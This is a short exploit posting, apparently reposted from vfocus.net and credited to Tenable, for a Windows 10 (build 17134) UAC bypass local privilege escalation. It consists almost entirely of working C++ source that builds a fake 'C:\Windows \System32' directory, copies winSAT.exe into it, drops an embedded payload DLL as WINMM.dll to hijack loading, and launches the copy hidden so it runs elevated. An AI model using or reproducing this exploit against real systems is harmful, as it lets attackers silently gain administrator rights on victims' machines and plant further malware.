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Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass)
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来源：vfocus.net 作者：Tenable 发布时间：2018-11-14
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#include "stdafx.h"
#include <Windows.h>
#include "resource.h"
void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
HMODULE hMod = GetModuleHandle(NULL);
HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
DWORD dllSize = SizeofResource(hMod, res);
void* dllBuff = LoadResource(hMod, res);
HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
DWORD sizeOut;
WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
CloseHandle(hDll);
}
int main()
{
_SHELLEXECUTEINFOW se = {};
//Create Mock SystemRoot Directory
CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0);
CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false);
//Drop our dll for hijack
DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll");
//Execute our winSAT.exe copy from fake trusted directory
se.cbSize = sizeof(_SHELLEXECUTEINFOW);
se.lpFile = L"C:\\Windows \\System32\\winSAT.exe";
se.lpParameters = L"formal";
se.nShow = SW_HIDE;
se.hwnd = NULL;
se.lpDirectory = NULL;
ShellExecuteEx(&se);
return 0;
}
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